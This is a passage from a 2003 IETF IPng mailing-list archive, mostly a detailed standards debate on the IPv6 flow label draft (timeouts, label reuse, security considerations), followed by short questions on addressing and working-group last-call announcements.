> > >
> > > I'm not entirely comfortable with the above wording. It seems to me,
> 
> > > that any node making assumptions about flow values *needs* a flow
> > > setup mechanism to go along with it. But if there is such a mechanism,
> > > that mechanism can communicate appropriate timer values for timing out
> > > state (and the above words are not needed). If there is no such
> > > mechanism, what sort of flow-specific processing should assume that a
> > > gap of 60 seconds implies a reset in the flow?
> 
> > We don't know, and 60 seconds is a compromise value anyway. But there
> > seemed to be WG consensus that a default timeout is needed, since
> > otherwise we are licensing implementors to create hard state. The authors
> > have been round and round this many times, and this was the best we
> > could come up with. (more comment on this below)
> 
> Well, I have a basic problem with a default timeout of 60
> seconds. Heck, a temporary routing glitch can cause a loss of traffic
> for 60 seconds, yet the TCP sesssion doesn't go away that quickly. So
> 60 seconds seem like a rather odd compromise value. Seems too short to
> me.

See below
> 
> > > What problem is the above wording intended to address?
> 
> > Use cases that nobody has thought of yet.
> 
> I don't understand this answer. If a router does something
> flow-specfic for flow X, but then sees no traffic for 60 seconds, the
> implication now is that it shouldn't give flow X the same treatement
> it was just giving it just 60 seconds ago.

If we say N seconds instead of 60, that is exactly the implication -
in other words flow state should be soft state. Are you objecting to
that, or to the choice N=60?

> 
> I do remember some discussion on this in the past. But I still don't
> feel like I understand the rational. Can someone please summarize or
> point me back to a previous thread?

I don't recall whether this was email or f2f discussion, but I agree
we've been round this before. Not sure there was any conclusion.

> 
> > > >    If an IPv6 node is not providing flow-specific treatment, it MUST
> > > >    ignore the field when receiving or forwarding a packet.
> > >
> > > Such a node is presumably not implementing this spec, in which case
> > > the words seem superfluous... Delete?
> 
> > You're too logical :-) But I think this forbids attempts to abuse
> > the label as a covert signalling channel, or otherwise use it for
> > an unintended purpose. So I'd vote for keeping the sentence, but
> > I don't feel strongly.
> 
> Not a show stopper to leave in...

Or to remove, for me.

> 
> > > > 3.  Flow Labeling Requirements
> > > >
> > > >    To enable Flow Label based classification, sources SHOULD assign each
> > > >    unrelated transport connection and application data stream to a new
> > > >    flow. The source MAY also take part in flow state establishment
> > > >    methods that result in assigning certain packets to specific flows. A
> > > >    source which does not assign traffic to flows MUST set the Flow Label
> > > >    to zero.
> > >
> > > I find the above a bit muddled and incomplete. Here is an attempt at
> > > clarifying:
> 
> > I object. Your text starts to hint at use cases. I think we should
> > absolutely avoid that, and restrict ourselves strictly to setting
> > boundary conditions on senders. Also, we agreed earlier to take out
> > all the stuff on APIs and picking flow label values. That was part
> > of the Grand Simplification of the draft. So I don't agree that the
> > paragraph is incomplete with respect to the goals of this document.
> 
> Part of my concern with the current text is it says hosts SHOULD set
> the flow-label for each Application-level stream. I assume, however,
> that this document is aimed at the IP stack, not at individual
> applications. I.e., how will someone who implements the stack be able
> to use different flow labels for different application stream without
> help from the application? Seems like some sort of wording about this
> would be good. I'm not saying it even needs to be normative (it
> probably shouldn't be). But maybe some guidance. The existing wording
> seems a bit incomplete and the issues here seem more complex.

Yes, and I think that is the same point as needing to mention
authorization issues under security. Who has the right to QOS is an
authzn issue and this is just a subset of that problem.

> 
> > > >    A source node MUST keep track of the Flow Label values it is
> > > >    currently using or has recently used.
> > >
> > > Mumble. the above comes across as a restrictive requirement rather
> > > than focusing on the key requirement to fulfill.
> 
> > Yes, we can replace MUST by "needs to".
> 
> ok. But that alone doesn't fix the issue. Just saying it "needs to
> keep track of" doesn't focus on the "why". I think the document would
> be better off saying what fundamental principal an implementation
> needs to be sure to not violate. In this case, it's not reusing the
> same flow label too quickly, including across reboots. I agree that
> mandating how an implementation does is beyond the scope of the
> document.

OK, we could certainly add a sentence about that (assuming we agree
that the basic model is soft-state).

> 
> Note: an implementation doesn't need to keep track of which flow IDs
> it has recently used (as the current words say). It simply needs to
> ensure that it doesn't reuse any that have been reused recently. There
> is a subtle difference. I.e., one doesn't need to keep track of *each*
> flow one has recently used. One can aggregate that information.
> 
> Here's a slightly less delta-ish proposal relative to the current
> text:
> 
>    A source node MUST ensure that it does not reuse Flow Label values
>    it is currently using or has recently used when creating new
>    flows. Flow Label values previously used with a specific pair of
>    source and destination addresses MUST NOT be assigned to new flows
>    with the same address pair within 60 seconds of the termination of
>    the previous flow. If the previous flow had a lifetime longer than
>    the default 60 seconds, a quarantine period of at least the length
>    of the lifetime MUST be observed before reusing that Flow Label.

OK by me
> 
> Note: this last sentence seems hard to achieve. it suggests that if a
> future flow establishment method uses longer lifetimes, the stack will
> have to be retrofitted to figure out somehow not to reuse those flow
> label values for the longer period. I suspect that future uses of the
> flow label (i.e., the signalling partz) may well be implemented
> separately from the base IP stack Flow Label support, and it may not
> be possible for the signalling to ensure the quarantine behavior.

Well, at the least it would require the quarantine time to be a
parameter in some API. But we don't really want to go there in
this document.
> 
>    The requirement of not reusing a Flow Label value for a new flow with
>    the same pair of source and destination addresses extends across
>    source node crashes and reboots.
> 
> Text OK up to here.
> 
> but, for the rest:
> 
>    To avoid accidental Flow Label value
>    reuse, the source node SHOULD use a different initial value for Flow
>    Label assignments after a reboot. The initial value could be randomly
>    generated, or computed from a previous value stored in non-volatile
>    memory.
> 
> I think the above text is not really good enough. It makes some
> unstated assumptions about how things are implemented. It either needs
> more text, or should just be deleted. I guess my attempt at
> replacement wasn't successful.

I'd be happy to delete it, and leave it as an exercise for the
implementor.

> 
> > As noted, 60 seconds is a compromise. We looked at values anywhere between
> > 10 and 600 seconds. There is no right answer, but 60 seems as good as
> > we could get. (10 seemed too short for a slow TCP stream, and 600 seemed
> > far too long, despite being the TCP timeout.)
> 
> > Wording suggestions?
> 
> Again, it seems like it should be at least as long as TCP timeouts. I
> don't think you want the flow state to be reclaimed just because of
> temporary network outages.

My original suggestion was 600s. The objection is that this means that
after a crash/reboot, no flow labels can be allocated for 10 minutes,
if you are logical and use the same timeout everywhere. That's where
the suggested compromise on a shorter time came from. I think there
is no right answer here, unfortunately. At least, I'm wedged on it.

> 
> > > >    The requirement of not reusing a Flow Label value for a new flow with
> > > >    the same pair of source and destination addresses extends across
> > > >    source node crashes and reboots. To avoid accidental Flow Label value
> > > >    reuse, the source node SHOULD use a different initial value for Flow
> > > >    Label assignments after a reboot. The initial value could be randomly
> > > >    generated, or computed from a previous value stored in non-volatile
> > > >    memory.
> > >
> > > Suggested rewording:
> > >
> > >    A source node should not reuse a particular Flow Label for a
> > >    different flow until it is sure that any flow-specific state on
> > >    other nodes has timed out or been appropriately updated.  In
> > >    particular, if a node reboots, it may lose track of which Flow
> > >    Label values it has used recently, and pick the same
> > >    ones. Implementations MUST ensure that they don't reuse Flow Labels
> > >    too quickly. The problem here is analagous to picking initial
> > >    sequence numbers when opening TCP connections after a
> > >    restart. There are number of ways to avoid reuse. One approach is
> > >    to have new Flow Label values be chosen in some well-defined order
> > >    (e.g., sequentially, a pseudo-random sequence, etc.). Upon a system
> > >    restart, the initial value could be randomly generated, or computed
> > >    from a previous value stored in non-volatile memory.
> 
> > Again, we removed some such text in the recent simplification of
> > the document. Do you really think we should start re-complicating?
> 
> The document should be absolutely clear on what the requirement is. It
> also seems reasonable to provide some guidance on how to achieve the
> requirement, though in a non-normative fashion. This is because folks
> will wonder how one can implement the requirement if they have no
> stable storage or a very small footprint. I think it was Rob who
> pointed out a long while back that there were similarities here with
> generating TCP initial sequence numbers across reboots.

Absolutely, with same issues for low-end devices. Again, there seems
to be no right answer. (BTW I don't have any problems with your text,
but we need guidance from the WG about whether to add it.)

> 
> > > > 4.  Flow State Establishment Requirements
> > > >
> > > >    To enable flow-specific treatment, flow state needs to be established
> > > >    on all or a subset of the IPv6 nodes on the path from the source to
> > > >    the destination(s). The methods for the state establishment, as well
> > > >    as the models for flow-specific treatment will be defined in separate
> > > >    specifications.
> > > >
> > > >    To enable co-existence of different methods in IPv6 nodes, the
> > > >    methods MUST meet the following basic requirements:
> > > >
> > > >    (1)  The method MUST provide the means for flow state clean-up from
> > > >         the IPv6 nodes providing the flow-specific treatment. Signaling
> > > >         based methods where the source node is involved are free to
> > > >         specify flow state lifetimes longer than the default 60 seconds.
> > > >
> > > >    (2)  Flow state establishment methods MUST be able to recover from
> > > >         the case where the requested flow state cannot be supported.
> > >
> > > I'm not sure what purpose the above provides.  I guess its mostly
> > > harmless, but it strikes me as being pretty obvious, and I wonder if
> > > these are the only real issues to think about. I.e., is this section
> > > complete?  If not, do we need it?
> 
> > It stops here, once again, to avoid getting into specific use cases. But
> > we did feel these were necessary to avoid future flow-state mechanisms
> > interfering with each other. Does that make sense?
> 
> I can live with the text.
> 
> > > > Security Considerations
> > > >
> > > >    The use of the Flow Label field enables flow classification also in
> > > >    the presence of encryption of IPv6 payloads. This allows the
> > > >    transport header values to remain confidential, which may lessen the
> > > >    possibilities for some forms of traffic analysis. However, the
> > > >    labeling of flows defined in this specification may reveal some
> > > >    structure of communications otherwise concealed by transport mode
> > >
> > > Seems like more could be said here. If use of the flow label allows
> > > special treatment of traffic, aren't there possible theft of service
> > > issues? Or DOS issues, if someone generates traffic trying to
> > > overwhelm a particular flow? What about authorization? Can anyone set
> > > up flows? Are there requirements or issues here that should be
> > > mentioned in Section 4?  This section seems a bit incomplete.
> 
> > Since flow labels are not protected by IPSEC-AH, they can be forged.
> > We should probably state this. However, since the flow is actually
> > identified by the {srce, dest, label} triplet, the theft of service
> > or DOS problem actually requires address spoofing as well as label
> > spoofing (and is prevented by ingress filtering). We should probably say
> > this.
> 
> My application, when running between the same pair of machines as
> yours, might be able to steal bandwidth from your application. This
> might be a real issue where one has proxies and other aggregating
> devices talking to each other.

Yes, hence the need for authorization mechanisms in multiuser hosts, 
and this definitely needs to  be stated.
> 
> My basic point thought when reading the current text, however, was
> that from the few words it wasn't clear that a whole lot of thought
> had gone into any possible security issues. The writeup seems a bit
> superficial.

Well, my view is that the issues are quite similar to those with
diffserv code points, where we have never found much to write either.
Once you accept that the label (like the DSCP) is forgeable, there
isn't much more to say, unfortunately. (There is text in both
RFC 2474 and 2475, and maybe some if it applies here too.) Theft of 
QOS certainly deserves work, but the problem is very general and 
probably not for this document.

    Brian


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 14 14:22:53 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0EMMr16004738;
	Tue, 14 Jan 2003 14:22:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0EMMq9w004737;
	Tue, 14 Jan 2003 14:22:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0EMMn16004730
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 14:22:49 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0EMMngE023792
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 14:22:49 -0800 (PST)
Received: from ztxmail04.ztx.compaq.com (ztxmail04.ztx.compaq.com [161.114.1.208])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA12992
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 14:22:43 -0800 (PST)
Received: from mailrelay01.cac.cpqcorp.net (mailrelay01.cac.cpqcorp.net [16.47.132.152])
	by ztxmail04.ztx.compaq.com (Postfix) with ESMTP
	id 1EE6B25A6; Tue, 14 Jan 2003 16:22:43 -0600 (CST)
Received: from anw.zk3.dec.com (alpha.zk3.dec.com [16.140.128.4])
	by mailrelay01.cac.cpqcorp.net (Postfix) with ESMTP
	id 40F0E5B9; Tue, 14 Jan 2003 14:22:37 -0800 (PST)
Received: by anw.zk3.dec.com (8.11.1/1.1.22.2/08Sep98-0251PM)
	id h0EMMZx0001447597; Tue, 14 Jan 2003 17:22:35 -0500 (EST)
Date: Tue, 14 Jan 2003 17:22:35 -0500 (EST)
From: Jack McCann <mccann@zk3.dec.com>
Message-Id: <200301142222.h0EMMZx0001447597@anw.zk3.dec.com>
To: ipng@sunroof.eng.sun.com, itojun@iijlab.net
Subject: Re:  draft-ietf-ipngwg-rfc2553bis-10.txt
Cc: Jack.McCann@hp.com, Jim.Bound@hp.com, gilligan@cacheflow.com,
   narten@us.ibm.com, sethomso@cisco.com
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Itojun,

> minor nit:
> NI_NUMERICSCOPE appears in the text (page 24) but not in section 7.

Thanks for catching that.  The reference to NI_NUMERICSCOPE
on page 24 should be removed, it was part of the stuff
that moved to draft-ietf-ipv6-scope-api-00.txt.

It may be too late to fix this...

- Jack

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 14 19:50:14 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0F3oE16007030;
	Tue, 14 Jan 2003 19:50:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0F3oEdJ007029;
	Tue, 14 Jan 2003 19:50:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0F3oB16007022
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 19:50:11 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0F3oA4w004437
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 19:50:10 -0800 (PST)
Received: from daakghar.controlnet.co.in (daakghar.controlnet.co.in [202.54.116.74])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id UAA00462
	for <ipng@sunroof.eng.sun.com>; Tue, 14 Jan 2003 20:50:03 -0700 (MST)
Received: from digambar ([192.168.4.1]) by
          dakiya.controlnet.co.in (Netscape Messaging Server 4.15) with
          ESMTP id H8QLE400.JCO for <ipng@sunroof.eng.sun.com>; Wed, 15
          Jan 2003 09:21:40 +0530 
Message-ID: <001301c2bc48$737cef70$e20aa8c0@digambar>
From: "Digambar Rasal" <digambar@controlnet.co.in>
To: <ipng@sunroof.eng.sun.com>
Subject: Web Server addresses : Unicast , Multicast , Anycast
Date: Wed, 15 Jan 2003 09:14:42 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi

I am developing a Web server , router , load balancers, Gateway and Switch
testing software.

I have read the RFC reagrding the addressing in IPv6 and I understood that
Web servers , routers , load balancers, Gateways and Switches can have
either Unicast  or Multicast or Anycast address.

I am not sure that my interpretation  is correct .. So please correct if I
am wrong.

Regards
Digambar Rasal


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Controlnet(India) Pvt Limited
Goa India.
+91-832-2883601
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 16 04:58:36 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GCwZ16018593;
	Thu, 16 Jan 2003 04:58:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0GCwZs3018592;
	Thu, 16 Jan 2003 04:58:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GCwR16018585
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 04:58:27 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0GCwY4w003922
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 04:58:35 -0800 (PST)
Received: from c3po.skynet.be (c3po.skynet.be [195.238.3.237])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA11716
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 05:58:27 -0700 (MST)
Received: from tsn (106.98-200-80.adsl.skynet.be [80.200.98.106])
	by c3po.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.20) with ESMTP id h0GCwOH15062
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 13:58:24 +0100 (MET)
	(envelope-from <mario.goebbels@skynet.be>)
Message-Id: <200301161258.h0GCwOH15062@c3po.skynet.be>
From: "Mario Goebbels" <mario.goebbels@skynet.be>
To: <ipng@sunroof.eng.sun.com>
Subject: FEC0::/10 or /48?
Date: Thu, 16 Jan 2003 13:58:25 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook, Build 11.0.4523
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3718.0
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi!

I think my question is best answered in this mailing list. When I read
books about IPv6, they mention always an 48bit prefix for SL addresses,
but reading the archives of this list, the people discuss about a 10bit
prefix. Is FEC0::/10 valid now, or still a draft or subject to change
and FEC0::/48 still standard?

Thanks for your help

-mg

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 16 06:56:14 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GEuE16018874;
	Thu, 16 Jan 2003 06:56:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0GEuE1V018873;
	Thu, 16 Jan 2003 06:56:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GEuB16018866
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 06:56:11 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0GEuI4w022938
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 06:56:18 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA29173
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 06:56:13 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.20])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id GAA00190;
	Thu, 16 Jan 2003 06:55:15 -0800 (PST)
Message-Id: <5.1.0.14.2.20030116095403.03b81d60@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 16 Jan 2003 09:54:51 -0500
To: "Mario Goebbels" <mario.goebbels@skynet.be>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: FEC0::/10 or /48?
Cc: <ipng@sunroof.eng.sun.com>
In-Reply-To: <200301161258.h0GCwOH15062@c3po.skynet.be>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Hi Mario,

The new addressing architecture has been approved for publication
as a Draft Standard, and should be published shortly.  So, the
FECO::/10 is official.

Margaret


At 01:58 PM 1/16/2003 +0100, Mario Goebbels wrote:
>Hi!
>
>I think my question is best answered in this mailing list. When I read
>books about IPv6, they mention always an 48bit prefix for SL addresses,
>but reading the archives of this list, the people discuss about a 10bit
>prefix. Is FEC0::/10 valid now, or still a draft or subject to change
>and FEC0::/48 still standard?
>
>Thanks for your help
>
>-mg
>
>--------------------------------------------------------------------
>IETF IPng Working Group Mailing List
>IPng Home Page:                      http://playground.sun.com/ipng
>FTP archive:                      ftp://playground.sun.com/pub/ipng
>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>--------------------------------------------------------------------


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 16 11:44:14 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GJiD16020465;
	Thu, 16 Jan 2003 11:44:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0GJiD55020464;
	Thu, 16 Jan 2003 11:44:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GJiA16020457
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 11:44:10 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0GJiH4w014212
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 11:44:18 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA08319
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 12:44:12 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA27469;
	Thu, 16 Jan 2003 11:44:11 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0GJiBP31707;
	Thu, 16 Jan 2003 11:44:11 -0800
X-mProtect: <200301161944> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (4.22.78.99, claiming to be "spruce.iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpd6sYj5N; Thu, 16 Jan 2003 11:44:09 PST
Message-Id: <4.3.2.7.2.20030116113012.033b1ef8@mailhost.iprg.nokia.com>
X-Sender:  (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 16 Jan 2003 11:43:47 -0800
To: ipng@sunroof.eng.sun.com
From: Bob Hinden & Margaret Wasserman <hinden@iprg.nokia.com>
Subject: IPv6 w.g. Last Call on "A Flexible Method for Managing the
  Assignment of Bytes of an IPv6 Address Block"
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

This is a IPv6 working group last call for comments on advancing the 
following document as an Informational RFC:

	Title		: A Flexible Method for Managing the Assignment of
                          Bits of an IPv6 Address Block
	Author(s)	: M. Blanchet
	Filename	: draft-ietf-ipv6-ipaddressassign-06.txt
	Pages		: 8
	Date		: 2003-1-6

Please send substantive comments to the ipng mailing list, and minor
editorial comments to the authors.  This last call period will on January 
30, 2003.

Bob Hinden / Margaret Wasserman

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 16 11:54:57 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GJsu16020602;
	Thu, 16 Jan 2003 11:54:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0GJsuTk020601;
	Thu, 16 Jan 2003 11:54:56 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0GJsr16020594
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 11:54:53 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0GJt14w017553
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 11:55:01 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA04121
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 11:54:55 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA27790;
	Thu, 16 Jan 2003 11:54:55 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0GJssw06229;
	Thu, 16 Jan 2003 11:54:54 -0800
X-mProtect: <200301161954> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (4.22.78.99, claiming to be "spruce.iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdEafOFX; Thu, 16 Jan 2003 11:54:51 PST
Message-Id: <4.3.2.7.2.20030116115004.033ad280@mailhost.iprg.nokia.com>
X-Sender: hinden@mailhost.iprg.nokia.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 16 Jan 2003 11:54:15 -0800
To: ipng@sunroof.eng.sun.com
From: Bob Hinden <hinden@iprg.nokia.com>
Subject: IPv6 w.g. Last Call on "IP Forwarding Table MIB"
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

This is a IPv6 working group last call for comments on advancing the 
following document as a Proposed Standard:

	Title		: IP Forwarding Table MIB
	Author(s)	: M. Wasserman
	Filename	: draft-ietf-ipv6-rfc2096-update-02.txt
	Pages		: 30
	Date		: 2002-11-7

Please send substantive comments to the ipng mailing list, and minor
editorial comments to the document editor.  This last call period will end 
on January 30, 2003.

Bob Hinden

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 16 22:52:35 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0H6qZ16022977;
	Thu, 16 Jan 2003 22:52:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0H6qYYt022976;
	Thu, 16 Jan 2003 22:52:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0H6qV16022969
	for <ipng@sunroof.eng.sun.com>; Thu, 16 Jan 2003 22:52:31 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
